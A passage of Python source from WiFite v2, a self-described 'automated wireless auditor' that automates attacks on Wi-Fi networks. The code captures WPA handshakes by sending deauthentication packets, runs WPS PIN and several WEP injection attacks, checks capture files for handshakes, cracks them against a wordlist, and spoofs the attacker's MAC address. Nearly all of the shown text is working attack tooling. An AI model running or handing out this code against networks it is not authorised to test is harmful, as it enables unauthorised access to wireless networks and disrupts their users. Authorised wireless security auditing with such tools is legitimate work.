  1397. GR + ' [+] ' + W + 'enter ' + G + 's' + W + ', ' + O + 'c,' + W + ' or ' + R + 'o' + W + ': ' + G).lower()
  1398. print W + "\b",
  1399. if ri == 's':
  1400. targets.pop(index)
  1401. index -= 1
  1402. elif ri == 'o':
  1403. remove_file(handshake_file)
  1404. continue
  1405. index += 1
  1406.  
  1407.  
  1408. except KeyboardInterrupt:
  1409. print '\n ' + R + '(^C)' + O + ' interrupted\n'
  1410. self.RUN_CONFIG.exit_gracefully(0)
  1411.  
  1412. wpa_success = 0
  1413. wep_success = 0
  1414. wpa_total = 0
  1415. wep_total = 0
  1416.  
  1417. self.RUN_CONFIG.TARGETS_REMAINING = len(targets)
  1418. for t in targets:
  1419. self.RUN_CONFIG.TARGETS_REMAINING -= 1
  1420.  
  1421. # Build list of clients connected to target
  1422. ts_clients = []
  1423. for c in clients:
  1424. if c.station == t.bssid:
  1425. ts_clients.append(c)
  1426.  
  1427. print ''
  1428. if t.encryption.find('WPA') != -1:
  1429. need_handshake = True
  1430. if not self.RUN_CONFIG.WPS_DISABLE and t.wps:
  1431. wps_attack = WPSAttack(iface, t, self.RUN_CONFIG)
  1432. need_handshake = not wps_attack.RunAttack()
  1433. wpa_total += 1
  1434.  
  1435. if not need_handshake: wpa_success += 1
  1436. if self.RUN_CONFIG.TARGETS_REMAINING < 0: break
  1437.  
  1438. if not self.RUN_CONFIG.PIXIE and not self.RUN_CONFIG.WPA_DISABLE and need_handshake:
  1439. wpa_total += 1
  1440. wpa_attack = WPAAttack(iface, t, ts_clients, self.RUN_CONFIG)
  1441. if wpa_attack.RunAttack():
  1442. wpa_success += 1
  1443.  
  1444. elif t.encryption.find('WEP') != -1:
  1445. wep_total += 1
  1446. wep_attack = WEPAttack(iface, t, ts_clients, self.RUN_CONFIG)
  1447. if wep_attack.RunAttack():
  1448. wep_success += 1
  1449.  
  1450. else:
  1451. print R + ' unknown encryption:', t.encryption, W
  1452.  
  1453. # If user wants to stop attacking
  1454. if self.RUN_CONFIG.TARGETS_REMAINING <= 0: break
  1455.  
  1456. if wpa_total + wep_total > 0:
  1457. # Attacks are done! Show results to user
  1458. print ''
  1459. print GR + ' [+] %s%d attack%s completed:%s' % (
  1460. G, wpa_total + wep_total, '' if wpa_total + wep_total == 1 else 's', W)
  1461. print ''
  1462. if wpa_total > 0:
  1463. if wpa_success == 0:
  1464. print GR + ' [+]' + R,
  1465. elif wpa_success == wpa_total:
  1466. print GR + ' [+]' + G,
  1467. else:
  1468. print GR + ' [+]' + O,
  1469. print '%d/%d%s WPA attacks succeeded' % (wpa_success, wpa_total, W)
  1470.  
  1471. for finding in self.RUN_CONFIG.WPA_FINDINGS:
  1472. print ' ' + C + finding + W
  1473.  
  1474. if wep_total > 0:
  1475. if wep_success == 0:
  1476. print GR + ' [+]' + R,
  1477. elif wep_success == wep_total:
  1478. print GR + ' [+]' + G,
  1479. else:
  1480. print GR + ' [+]' + O,
  1481. print '%d/%d%s WEP attacks succeeded' % (wep_success, wep_total, W)
  1482.  
  1483. for finding in self.RUN_CONFIG.WEP_FINDINGS:
  1484. print ' ' + C + finding + W
  1485.  
  1486. caps = len(self.RUN_CONFIG.WPA_CAPS_TO_CRACK)
  1487. if caps > 0 and not self.RUN_CONFIG.WPA_DONT_CRACK:
  1488. print GR + ' [+]' + W + ' starting ' + G + 'WPA cracker' + W + ' on %s%d handshake%s' % (
  1489. G, caps, W if caps == 1 else 's' + W)
  1490. for cap in self.RUN_CONFIG.WPA_CAPS_TO_CRACK:
  1491. wpa_crack(cap, self.RUN_CONFIG)
  1492.  
  1493. print ''
  1494. self.RUN_CONFIG.exit_gracefully(0)
  1495.  
  1496. def parse_csv(self, filename):
  1497. """
  1498. Parses given lines from airodump-ng CSV file.
  1499. Returns tuple: List of targets and list of clients.
  1500. """
  1501. if not os.path.exists(filename): return ([], [])
  1502. targets = []
  1503. clients = []
  1504. try:
  1505. hit_clients = False
  1506. with open(filename, 'rb') as csvfile:
  1507. targetreader = csv.reader((line.replace('\0', '') for line in csvfile), delimiter=',')
  1508. for row in targetreader:
  1509. if len(row) < 2:
  1510. continue
  1511. if not hit_clients:
  1512. if row[0].strip() == 'Station MAC':
  1513. hit_clients = True
  1514. continue
  1515. if len(row) < 14:
  1516. continue
  1517. if row[0].strip() == 'BSSID':
  1518. continue
  1519. enc = row[5].strip()
  1520. wps = False
  1521. # Ignore non-WPA and non-WEP encryption
  1522. if enc.find('WPA') == -1 and enc.find('WEP') == -1: continue
  1523. if self.RUN_CONFIG.WEP_DISABLE and enc.find('WEP') != -1: continue
  1524. if self.RUN_CONFIG.WPA_DISABLE and self.RUN_CONFIG.WPS_DISABLE and enc.find(
  1525. 'WPA') != -1: continue
  1526. if enc == "WPA2WPA" or enc == "WPA2 WPA":
  1527. enc = "WPA2"
  1528. wps = True
  1529. if len(enc) > 4:
  1530. enc = enc[4:].strip()
  1531. power = int(row[8].strip())
  1532.  
  1533. ssid = row[13].strip()
  1534. ssidlen = int(row[12].strip())
  1535. ssid = ssid[:ssidlen]
  1536.  
  1537. if power < 0: power += 100
  1538. t = Target(row[0].strip(), power, row[10].strip(), row[3].strip(), enc, ssid)
  1539. t.wps = wps
  1540. targets.append(t)
  1541. else:
  1542. if len(row) < 6:
  1543. continue
  1544. bssid = re.sub(r'[^a-zA-Z0-9:]', '', row[0].strip())
  1545. station = re.sub(r'[^a-zA-Z0-9:]', '', row[5].strip())
  1546. power = row[3].strip()
  1547. if station != 'notassociated':
  1548. c = Client(bssid, station, power)
  1549. clients.append(c)
  1550. except IOError as e:
  1551. print "I/O error({0}): {1}".format(e.errno, e.strerror)
  1552. return ([], [])
  1553.  
  1554. return (targets, clients)
  1555.  
  1556. def analyze_capfile(self, capfile):
  1557. """
  1558. Analyzes given capfile for handshakes using various programs.
  1559. Prints results to console.
  1560. """
  1561. # we're not running an attack
  1562. wpa_attack = WPAAttack(None, None, None, None)
  1563.  
  1564. if self.RUN_CONFIG.TARGET_ESSID == '' and self.RUN_CONFIG.TARGET_BSSID == '':
  1565. print R + ' [!]' + O + ' target ssid and bssid are required to check for handshakes'
  1566. print R + ' [!]' + O + ' please enter essid (access point name) using -e <name>'
  1567. print R + ' [!]' + O + ' and/or target bssid (mac address) using -b <mac>\n'
  1568. # exit_gracefully(1)
  1569.  
  1570. if self.RUN_CONFIG.TARGET_BSSID == '':
  1571. # Get the first BSSID found in tshark!
  1572. self.RUN_CONFIG.TARGET_BSSID = get_bssid_from_cap(self.RUN_CONFIG.TARGET_ESSID, capfile)
  1573. # if TARGET_BSSID.find('->') != -1: TARGET_BSSID == ''
  1574. if self.RUN_CONFIG.TARGET_BSSID == '':
  1575. print R + ' [!]' + O + ' unable to guess BSSID from ESSID!'
  1576. else:
  1577. print GR + ' [+]' + W + ' guessed bssid: %s' % (G + self.RUN_CONFIG.TARGET_BSSID + W)
  1578.  
  1579. if self.RUN_CONFIG.TARGET_BSSID != '' and self.RUN_CONFIG.TARGET_ESSID == '':
  1580. self.RUN_CONFIG.TARGET_ESSID = get_essid_from_cap(self.RUN_CONFIG.TARGET_BSSID, capfile)
  1581.  
  1582. print GR + '\n [+]' + W + ' checking for handshakes in %s' % (G + capfile + W)
  1583.  
  1584. t = Target(self.RUN_CONFIG.TARGET_BSSID, '', '', '', 'WPA', self.RUN_CONFIG.TARGET_ESSID)
  1585.  
  1586. if program_exists('pyrit'):
  1587. result = wpa_attack.has_handshake_pyrit(t, capfile)
  1588. print GR + ' [+]' + W + ' ' + G + 'pyrit' + W + ':\t\t\t %s' % (
  1589. G + 'found!' + W if result else O + 'not found' + W)
  1590. else:
  1591. print R + ' [!]' + O + ' program not found: pyrit'
  1592. if program_exists('cowpatty'):
  1593. result = wpa_attack.has_handshake_cowpatty(t, capfile, nonstrict=True)
  1594. print GR + ' [+]' + W + ' ' + G + 'cowpatty' + W + ' (nonstrict):\t %s' % (
  1595. G + 'found!' + W if result else O + 'not found' + W)
  1596. result = wpa_attack.has_handshake_cowpatty(t, capfile, nonstrict=False)
  1597. print GR + ' [+]' + W + ' ' + G + 'cowpatty' + W + ' (strict):\t %s' % (
  1598. G + 'found!' + W if result else O + 'not found' + W)
  1599. else:
  1600. print R + ' [!]' + O + ' program not found: cowpatty'
  1601. if program_exists('tshark'):
  1602. result = wpa_attack.has_handshake_tshark(t, capfile)
  1603. print GR + ' [+]' + W + ' ' + G + 'tshark' + W + ':\t\t\t %s' % (
  1604. G + 'found!' + W if result else O + 'not found' + W)
  1605. else:
  1606. print R + ' [!]' + O + ' program not found: tshark'
  1607. if program_exists('aircrack-ng'):
  1608. result = wpa_attack.has_handshake_aircrack(t, capfile)
  1609. print GR + ' [+]' + W + ' ' + G + 'aircrack-ng' + W + ':\t\t %s' % (
  1610. G + 'found!' + W if result else O + 'not found' + W)
  1611. else:
  1612. print R + ' [!]' + O + ' program not found: aircrack-ng'
  1613.  
  1614. print ''
  1615.  
  1616. self.RUN_CONFIG.exit_gracefully(0)
  1617.  
  1618.  
  1619. ##################
  1620. # MAIN FUNCTIONS #
  1621. ##################
  1622.  
  1623. ##############################################################
  1624. ### End Classes
  1625.  
  1626. def rename(old, new):
  1627. """
  1628. Renames file 'old' to 'new', works with separate partitions.
  1629. Thanks to hannan.sadar
  1630. """
  1631. try:
  1632. os.rename(old, new)
  1633. except os.error, detail:
  1634. if detail.errno == errno.EXDEV:
  1635. try:
  1636. copy(old, new)
  1637. except:
  1638. os.unlink(new)
  1639. raise
  1640. os.unlink(old)
  1641. # if desired, deal with other errors
  1642. else:
  1643. raise
  1644.  
  1645.  
  1646. def banner(RUN_CONFIG):
  1647. """
  1648. Displays ASCII art of the highest caliber.
  1649. """
  1650. print ''
  1651. print G + " .;' `;, "
  1652. print G + " .;' ,;' `;, `;, " + W + "WiFite v2 (r" + str(RUN_CONFIG.REVISION) + ")"
  1653. print G + ".;' ,;' ,;' `;, `;, `;, "
  1654. print G + ":: :: : " + GR + "( )" + G + " : :: :: " + GR + "automated wireless auditor"
  1655. print G + "':. ':. ':. " + GR + "/_\\" + G + " ,:' ,:' ,:' "
  1656. print G + " ':. ':. " + GR + "/___\\" + G + " ,:' ,:' " + GR + "designed for Linux"
  1657. print G + " ':. " + GR + "/_____\\" + G + " ,:' "
  1658. print G + " " + GR + "/ \\" + G + " "
  1659. print W
  1660.  
  1661.  
  1662. def get_revision():
  1663. """
  1664. Gets latest revision # from the GitHub repository
  1665. Returns : revision#
  1666. """
  1667. irev = -1
  1668.  
  1669. try:
  1670. sock = urllib.urlopen('https://github.com/derv82/wifite/raw/master/wifite.py')
  1671. page = sock.read()
  1672. except IOError:
  1673. return (-1, '', '')
  1674.  
  1675. # get the revision
  1676. start = page.find('REVISION = ')
  1677. stop = page.find(";", start)
  1678. if start != -1 and stop != -1:
  1679. start += 11
  1680. rev = page[start:stop]
  1681. try:
  1682. irev = int(rev)
  1683. except ValueError:
  1684. rev = rev.split('\n')[0]
  1685. print R + '[+] invalid revision number: "' + rev + '"'
  1686.  
  1687. return irev
  1688.  
  1689.  
  1690. def help():
  1691. """
  1692. Prints help screen
  1693. """
  1694.  
  1695. head = W
  1696. sw = G
  1697. var = GR
  1698. des = W
  1699. de = G
  1700.  
  1701. print head + ' COMMANDS' + W
  1702. print sw + '\t-check ' + var + '<file>\t' + des + 'check capfile ' + var + '<file>' + des + ' for handshakes.' + W
  1703. print sw + '\t-cracked \t' + des + 'display previously-cracked access points' + W
  1704. print sw + '\t-recrack \t' + des + 'allow recracking of previously cracked access points' + W
  1705. print ''
  1706.  
  1707. print head + ' GLOBAL' + W
  1708. print sw + '\t-all \t' + des + 'attack all targets. ' + de + '[off]' + W
  1709. #print sw+'\t-pillage \t'+des+'attack all targets in a looping fashion.'+de+'[off]'+W
  1710. print sw + '\t-i ' + var + '<iface> \t' + des + 'wireless interface for capturing ' + de + '[auto]' + W
  1711. print sw + '\t-mon-iface ' + var + '<monitor_interface> \t' + des + 'interface in monitor mode for capturing ' + de + '[auto]' + W
  1712. print sw + '\t-mac \t' + des + 'anonymize mac address ' + de + '[off]' + W
  1713. print sw + '\t-c ' + var + '<channel>\t' + des + 'channel to scan for targets ' + de + '[auto]' + W
  1714. print sw + '\t-e ' + var + '<essid> \t' + des + 'target a specific access point by ssid (name) ' + de + '[ask]' + W
  1715. print sw + '\t-b ' + var + '<bssid> \t' + des + 'target a specific access point by bssid (mac) ' + de + '[auto]' + W
  1716. print sw + '\t-showb \t' + des + 'display target BSSIDs after scan ' + de + '[off]' + W
  1717. print sw + '\t-pow ' + var + '<db> \t' + des + 'attacks any targets with signal strenghth > ' + var + 'db ' + de + '[0]' + W
  1718. print sw + '\t-quiet \t' + des + 'do not print list of APs during scan ' + de + '[off]' + W
  1719. print ''
  1720.  
  1721. print head + '\n WPA' + W
  1722. print sw + '\t-wpa \t' + des + 'only target WPA networks (works with -wps -wep) ' + de + '[off]' + W
  1723. print sw + '\t-wpat ' + var + '<sec> \t' + des + 'time to wait for WPA attack to complete (seconds) ' + de + '[500]' + W
  1724. print sw + '\t-wpadt ' + var + '<sec> \t' + des + 'time to wait between sending deauth packets (sec) ' + de + '[10]' + W
  1725. print sw + '\t-strip \t' + des + 'strip handshake using tshark or pyrit ' + de + '[off]' + W
  1726. print sw + '\t-crack ' + var + '<dic>\t' + des + 'crack WPA handshakes using ' + var + '<dic>' + des + ' wordlist file ' + de + '[off]' + W
  1727. print sw + '\t-dict ' + var + '<file>\t' + des + 'specify dictionary to use when cracking WPA ' + de + '[phpbb.txt]' + W
  1728. print sw + '\t-aircrack \t' + des + 'verify handshake using aircrack ' + de + '[on]' + W
  1729. print sw + '\t-pyrit \t' + des + 'verify handshake using pyrit ' + de + '[off]' + W
  1730. print sw + '\t-tshark \t' + des + 'verify handshake using tshark ' + de + '[on]' + W
  1731. print sw + '\t-cowpatty \t' + des + 'verify handshake using cowpatty ' + de + '[off]' + W
  1732.  
  1733. print head + '\n WEP' + W
  1734. print sw + '\t-wep \t' + des + 'only target WEP networks ' + de + '[off]' + W
  1735. print sw + '\t-pps ' + var + '<num> \t' + des + 'set the number of packets per second to inject ' + de + '[600]' + W
  1736. print sw + '\t-wept ' + var + '<sec> \t' + des + 'sec to wait for each attack, 0 implies endless ' + de + '[600]' + W
  1737. print sw + '\t-chopchop \t' + des + 'use chopchop attack ' + de + '[on]' + W
  1738. print sw + '\t-arpreplay \t' + des + 'use arpreplay attack ' + de + '[on]' + W
  1739. print sw + '\t-fragment \t' + des + 'use fragmentation attack ' + de + '[on]' + W
  1740. print sw + '\t-caffelatte \t' + des + 'use caffe-latte attack ' + de + '[on]' + W
  1741. print sw + '\t-p0841 \t' + des + 'use -p0841 attack ' + de + '[on]' + W
  1742. print sw + '\t-hirte \t' + des + 'use hirte (cfrag) attack ' + de + '[on]' + W
  1743. print sw + '\t-nofakeauth \t' + des + 'stop attack if fake authentication fails ' + de + '[off]' + W
  1744. print sw + '\t-wepca ' + GR + '<n> \t' + des + 'start cracking when number of ivs surpass n ' + de + '[10000]' + W
  1745. print sw + '\t-wepsave \t' + des + 'save a copy of .cap files to this directory ' + de + '[off]' + W
  1746.  
  1747. print head + '\n WPS' + W
  1748. print sw + '\t-wps \t' + des + 'only target WPS networks ' + de + '[off]' + W
  1749. print sw + '\t-wpst ' + var + '<sec> \t' + des + 'max wait for new retry before giving up (0: never) ' + de + '[660]' + W
  1750. print sw + '\t-wpsratio ' + var + '<per>\t' + des + 'min ratio of successful PIN attempts/total tries ' + de + '[0]' + W
  1751. print sw + '\t-wpsretry ' + var + '<num>\t' + des + 'max number of retries for same PIN before giving up ' + de + '[0]' + W
  1752.  
  1753. print head + '\n EXAMPLE' + W
  1754. print sw + '\t./wifite.py ' + W + '-wps -wep -c 6 -pps 600' + W
  1755. print ''
  1756.  
  1757.  
  1758. ###########################
  1759. # WIRELESS CARD FUNCTIONS #
  1760. ###########################
  1761.  
  1762.  
  1763.  
  1764.  
  1765. ######################
  1766. # SCANNING FUNCTIONS #
  1767. ######################
  1768.  
  1769.  
  1770.  
  1771.  
  1772.  
  1773. def wps_check_targets(targets, cap_file, verbose=True):
  1774. """
  1775. Uses reaver's "walsh" (or wash) program to check access points in cap_file
  1776. for WPS functionality. Sets "wps" field of targets that match to True.
  1777. """
  1778. global RUN_CONFIG
  1779.  
  1780. if not program_exists('walsh') and not program_exists('wash'):
  1781. RUN_CONFIG.WPS_DISABLE = True # Tell 'scan' we were unable to execute walsh
  1782. return
  1783. program_name = 'walsh' if program_exists('walsh') else 'wash'
  1784.  
  1785. if len(targets) == 0 or not os.path.exists(cap_file): return
  1786. if verbose:
  1787. print GR + ' [+]' + W + ' checking for ' + G + 'WPS compatibility' + W + '...',
  1788. stdout.flush()
  1789.  
  1790. cmd = [program_name,
  1791. '-f', cap_file,
  1792. '-C'] # ignore Frame Check Sum errors
  1793. proc_walsh = Popen(cmd, stdout=PIPE, stderr=DN)
  1794. proc_walsh.wait()
  1795. for line in proc_walsh.communicate()[0].split('\n'):
  1796. if line.strip() == '' or line.startswith('Scanning for'): continue
  1797. bssid = line.split(' ')[0]
  1798.  
  1799. for t in targets:
  1800. if t.bssid.lower() == bssid.lower():
  1801. t.wps = True
  1802. if verbose:
  1803. print 'done'
  1804. removed = 0
  1805. if not RUN_CONFIG.WPS_DISABLE and RUN_CONFIG.WPA_DISABLE:
  1806. i = 0
  1807. while i < len(targets):
  1808. if not targets[i].wps and targets[i].encryption.find('WPA') != -1:
  1809. removed += 1
  1810. targets.pop(i)
  1811. else:
  1812. i += 1
  1813. if removed > 0 and verbose: print GR + ' [+]' + O + ' removed %d non-WPS-enabled targets%s' % (removed, W)
  1814.  
  1815.  
  1816. def print_and_exec(cmd):
  1817. """
  1818. Prints and executes command "cmd". Also waits half a second
  1819. Used by rtl8187_fix (for prettiness)
  1820. """
  1821. print '\r \r',
  1822. stdout.flush()
  1823. print O + ' [!] ' + W + 'executing: ' + O + ' '.join(cmd) + W,
  1824. stdout.flush()
  1825. call(cmd, stdout=DN, stderr=DN)
  1826. time.sleep(0.1)
  1827.  
  1828.  
  1829. ####################
  1830. # HELPER FUNCTIONS #
  1831. ####################
  1832.  
  1833. def remove_airodump_files(prefix):
  1834. """
  1835. Removes airodump output files for whatever file prefix ('wpa', 'wep', etc)
  1836. Used by wpa_get_handshake() and attack_wep()
  1837. """
  1838. global RUN_CONFIG
  1839. remove_file(prefix + '-01.cap')
  1840. remove_file(prefix + '-01.csv')
  1841. remove_file(prefix + '-01.kismet.csv')
  1842. remove_file(prefix + '-01.kismet.netxml')
  1843. for filename in os.listdir(RUN_CONFIG.temp):
  1844. if filename.lower().endswith('.xor'): remove_file(RUN_CONFIG.temp + filename)
  1845. for filename in os.listdir('.'):
  1846. if filename.startswith('replay_') and filename.endswith('.cap'):
  1847. remove_file(filename)
  1848. if filename.endswith('.xor'): remove_file(filename)
  1849. # Remove .cap's from previous attack sessions
  1850. """i = 2
  1851. while os.path.exists(temp + 'wep-' + str(i) + '.cap'):
  1852. os.remove(temp + 'wep-' + str(i) + '.cap')
  1853. i += 1
  1854. """
  1855.  
  1856.  
  1857. def remove_file(filename):
  1858. """
  1859. Attempts to remove a file. Does not throw error if file is not found.
  1860. """
  1861. try:
  1862. os.remove(filename)
  1863. except OSError:
  1864. pass
  1865.  
  1866.  
  1867. def program_exists(program):
  1868. """
  1869. Uses 'which' (linux command) to check if a program is installed.
  1870. """
  1871.  
  1872. proc = Popen(['which', program], stdout=PIPE, stderr=PIPE)
  1873. txt = proc.communicate()
  1874. if txt[0].strip() == '' and txt[1].strip() == '':
  1875. return False
  1876. if txt[0].strip() != '' and txt[1].strip() == '':
  1877. return True
  1878.  
  1879. return not (txt[1].strip() == '' or txt[1].find('no %s in' % program) != -1)
  1880.  
  1881.  
  1882. def sec_to_hms(sec):
  1883. """
  1884. Converts integer sec to h:mm:ss format
  1885. """
  1886. if sec <= -1: return '[endless]'
  1887. h = sec / 3600
  1888. sec %= 3600
  1889. m = sec / 60
  1890. sec %= 60
  1891. return '[%d:%02d:%02d]' % (h, m, sec)
  1892.  
  1893.  
  1894. def send_interrupt(process):
  1895. """
  1896. Sends interrupt signal to process's PID.
  1897. """
  1898. try:
  1899. os.kill(process.pid, SIGINT)
  1900. # os.kill(process.pid, SIGTERM)
  1901. except OSError:
  1902. pass # process cannot be killed
  1903. except TypeError:
  1904. pass # pid is incorrect type
  1905. except UnboundLocalError:
  1906. pass # 'process' is not defined
  1907. except AttributeError:
  1908. pass # Trying to kill "None"
  1909.  
  1910.  
  1911. def get_mac_address(iface):
  1912. """
  1913. Returns MAC address of "iface".
  1914. """
  1915. proc = Popen(['ifconfig', iface], stdout=PIPE, stderr=DN)
  1916. proc.wait()
  1917. mac = ''
  1918. first_line = proc.communicate()[0].split('\n')[0]
  1919. for word in first_line.split(' '):
  1920. if word != '': mac = word
  1921. if mac.find('-') != -1: mac = mac.replace('-', ':')
  1922. if len(mac) > 17: mac = mac[0:17]
  1923. return mac
  1924.  
  1925.  
  1926. def generate_random_mac(old_mac):
  1927. """
  1928. Generates a random MAC address.
  1929. Keeps the same vender (first 6 chars) of the old MAC address (old_mac).
  1930. Returns string in format old_mac[0:9] + :XX:XX:XX where X is random hex
  1931. """
  1932. random.seed()
  1933. new_mac = old_mac[:8].lower().replace('-', ':')
  1934. for i in xrange(0, 6):
  1935. if i % 2 == 0: new_mac += ':'
  1936. new_mac += '0123456789abcdef'[random.randint(0, 15)]
  1937.  
  1938. # Prevent generating the same MAC address via recursion.
  1939. if new_mac == old_mac:
  1940. new_mac = generate_random_mac(old_mac)
  1941. return new_mac
  1942.  
  1943.  
  1944. def mac_anonymize(iface):
  1945. """
  1946. Changes MAC address of 'iface' to a random MAC.
  1947. Only randomizes the last 6 digits of the MAC, so the vender says the same.
  1948. Stores old MAC address and the interface in ORIGINAL_IFACE_MAC
  1949. """
  1950. global RUN_CONFIG
  1951. if RUN_CONFIG.DO_NOT_CHANGE_MAC: return
  1952. if not program_exists('ifconfig'): return
  1953.  
  1954. # Store old (current) MAC address
  1955. proc = Popen(['ifconfig', iface], stdout=PIPE, stderr=DN)
  1956. proc.wait()
  1957. for word in proc.communicate()[0].split('\n')[0].split(' '):
  1958. if word != '': old_mac = word
  1959. RUN_CONFIG.ORIGINAL_IFACE_MAC = (iface, old_mac)
  1960.  
  1961. new_mac = generate_random_mac(old_mac)
  1962.  
  1963. call(['ifconfig', iface, 'down'])
  1964.  
  1965. print GR + " [+]" + W + " changing %s's MAC from %s to %s..." % (G + iface + W, G + old_mac + W, O + new_mac + W),
  1966. stdout.flush()
  1967.  
  1968. proc = Popen(['ifconfig', iface, 'hw', 'ether', new_mac], stdout=PIPE, stderr=DN)
  1969. proc.wait()
  1970. call(['ifconfig', iface, 'up'], stdout=DN, stderr=DN)
  1971. print 'done'
  1972.  
  1973.  
  1974. def mac_change_back():
  1975. """
  1976. Changes MAC address back to what it was before attacks began.
  1977. """
  1978. global RUN_CONFIG
  1979. iface = RUN_CONFIG.ORIGINAL_IFACE_MAC[0]
  1980. old_mac = RUN_CONFIG.ORIGINAL_IFACE_MAC[1]
  1981. if iface == '' or old_mac == '': return
  1982.  
  1983. print GR + " [+]" + W + " changing %s's mac back to %s..." % (G + iface + W, G + old_mac + W),
  1984. stdout.flush()
  1985.  
  1986. call(['ifconfig', iface, 'down'], stdout=DN, stderr=DN)
  1987. proc = Popen(['ifconfig', iface, 'hw', 'ether', old_mac], stdout=PIPE, stderr=DN)
  1988. proc.wait()
  1989. call(['ifconfig', iface, 'up'], stdout=DN, stderr=DN)
  1990. print "done"
  1991.  
  1992.  
  1993. def get_essid_from_cap(bssid, capfile):
  1994. """
  1995. Attempts to get ESSID from cap file using BSSID as reference.
  1996. Returns '' if not found.
  1997. """
  1998. if not program_exists('tshark'): return ''
  1999.  
  2000. cmd = ['tshark',
  2001. '-r', capfile,
  2002. '-R', 'wlan.fc.type_subtype == 0x05 && wlan.sa == %s' % bssid,
  2003. '-n']
  2004. proc = Popen(cmd, stdout=PIPE, stderr=DN)
  2005. proc.wait()
  2006. for line in proc.communicate()[0].split('\n'):
  2007. if line.find('SSID=') != -1:
  2008. essid = line[line.find('SSID=') + 5:]
  2009. print GR + ' [+]' + W + ' guessed essid: %s' % (G + essid + W)
  2010. return essid
  2011. print R + ' [!]' + O + ' unable to guess essid!' + W
  2012. return ''
  2013.  
  2014.  
  2015. def get_bssid_from_cap(essid, capfile):
  2016. """
  2017. Returns first BSSID of access point found in cap file.
  2018. This is not accurate at all, but it's a good guess.
  2019. Returns '' if not found.
  2020. """
  2021. global RUN_CONFIG
  2022.  
  2023. if not program_exists('tshark'): return ''
  2024.  
  2025. # Attempt to get BSSID based on ESSID
  2026. if essid != '':
  2027. cmd = ['tshark',
  2028. '-r', capfile,
  2029. '-R', 'wlan_mgt.ssid == "%s" && wlan.fc.type_subtype == 0x05' % (essid),
  2030. '-n', # Do not resolve MAC vendor names
  2031. '-T', 'fields', # Only display certain fields
  2032. '-e', 'wlan.sa'] # souce MAC address
  2033. proc = Popen(cmd, stdout=PIPE, stderr=DN)
  2034. proc.wait()
  2035. bssid = proc.communicate()[0].split('\n')[0]
  2036. if bssid != '': return bssid
  2037.  
  2038. cmd = ['tshark',
  2039. '-r', capfile,
  2040. '-R', 'eapol',
  2041. '-n']
  2042. proc = Popen(cmd, stdout=PIPE, stderr=DN)
  2043. proc.wait()
  2044. for line in proc.communicate()[0].split('\n'):
  2045. if line.endswith('Key (msg 1/4)') or line.endswith('Key (msg 3/4)'):
  2046. while line.startswith(' ') or line.startswith('\t'): line = line[1:]
  2047. line = line.replace('\t', ' ')
  2048. while line.find(' ') != -1: line = line.replace(' ', ' ')
  2049. return line.split(' ')[2]
  2050. elif line.endswith('Key (msg 2/4)') or line.endswith('Key (msg 4/4)'):
  2051. while line.startswith(' ') or line.startswith('\t'): line = line[1:]
  2052. line = line.replace('\t', ' ')
  2053. while line.find(' ') != -1: line = line.replace(' ', ' ')
  2054. return line.split(' ')[4]
  2055. return ''
  2056.  
  2057.  
  2058. def attack_interrupted_prompt():
  2059. """
  2060. Promps user to decide if they want to exit,
  2061. skip to cracking WPA handshakes,
  2062. or continue attacking the remaining targets (if applicable).
  2063. returns True if user chose to exit complete, False otherwise
  2064. """
  2065. global RUN_CONFIG
  2066. should_we_exit = False
  2067. # If there are more targets to attack, ask what to do next
  2068. if RUN_CONFIG.TARGETS_REMAINING > 0:
  2069. options = ''
  2070. print GR + "\n [+] %s%d%s target%s remain%s" % (G, RUN_CONFIG.TARGETS_REMAINING, W,
  2071. '' if RUN_CONFIG.TARGETS_REMAINING == 1 else 's',
  2072. 's' if RUN_CONFIG.TARGETS_REMAINING == 1 else '')
  2073. print GR + " [+]" + W + " what do you want to do?"
  2074. options += G + 'c' + W
  2075. print G + " [c]ontinue" + W + " attacking targets"
  2076.  
  2077. if len(RUN_CONFIG.WPA_CAPS_TO_CRACK) > 0:
  2078. options += W + ', ' + O + 's' + W
  2079. print O + " [s]kip" + W + " to cracking WPA cap files"
  2080. options += W + ', or ' + R + 'e' + W
  2081. print R + " [e]xit" + W + " completely"
  2082. ri = ''
  2083. while ri != 'c' and ri != 's' and ri != 'e':
  2084. ri = raw_input(GR + ' [+]' + W + ' please make a selection (%s): ' % options)
  2085.  
  2086. if ri == 's':
  2087. RUN_CONFIG.TARGETS_REMAINING = -1 # Tells start() to ignore other targets, skip to cracking
  2088. elif ri == 'e':
  2089. should_we_exit = True
  2090. return should_we_exit
  2091.  
  2092.  
  2093. #
  2094. # Abstract base class for attacks.
  2095. # Attacks are required to implement the following methods:
  2096. # RunAttack - Initializes the attack
  2097. # EndAttack - Cleanly ends the attack
  2098. #
  2099. class Attack(object):
  2100. __metaclass__ = abc.ABCMeta
  2101.  
  2102. @abc.abstractmethod
  2103. def RunAttack(self):
  2104. raise NotImplementedError()
  2105.  
  2106. @abc.abstractmethod
  2107. def EndAttack(self):
  2108. raise NotImplementedError()
  2109.  
  2110.  
  2111. #################
  2112. # WPA FUNCTIONS #
  2113. #################
  2114. class WPAAttack(Attack):
  2115. def __init__(self, iface, target, clients, config):
  2116. self.iface = iface
  2117. self.clients = clients
  2118. self.target = target
  2119. self.RUN_CONFIG = config
  2120.  
  2121. def RunAttack(self):
  2122. '''
  2123. Abstract method for initializing the WPA attack
  2124. '''
  2125. self.wpa_get_handshake()
  2126.  
  2127. def EndAttack(self):
  2128. '''
  2129. Abstract method for ending the WPA attack
  2130. '''
  2131. pass
  2132.  
  2133. def wpa_get_handshake(self):
  2134. """
  2135. Opens an airodump capture on the target, dumping to a file.
  2136. During the capture, sends deauthentication packets to the target both as
  2137. general deauthentication packets and specific packets aimed at connected clients.
  2138. Waits until a handshake is captured.
  2139. "iface" - interface to capture on
  2140. "target" - Target object containing info on access point
  2141. "clients" - List of Client objects associated with the target
  2142. Returns True if handshake was found, False otherwise
  2143. """
  2144.  
  2145. if self.RUN_CONFIG.WPA_ATTACK_TIMEOUT <= 0: self.RUN_CONFIG.WPA_ATTACK_TIMEOUT = -1
  2146.  
  2147. # Generate the filename to save the .cap file as <SSID>_aa-bb-cc-dd-ee-ff.cap
  2148. save_as = self.RUN_CONFIG.WPA_HANDSHAKE_DIR + os.sep + re.sub(r'[^a-zA-Z0-9]', '', self.target.ssid) \
  2149. + '_' + self.target.bssid.replace(':', '-') + '.cap'
  2150.  
  2151. # Check if we already have a handshake for this SSID... If we do, generate a new filename
  2152. save_index = 0
  2153. while os.path.exists(save_as):
  2154. save_index += 1
  2155. save_as = self.RUN_CONFIG.WPA_HANDSHAKE_DIR + os.sep + re.sub(r'[^a-zA-Z0-9]', '', self.target.ssid) \
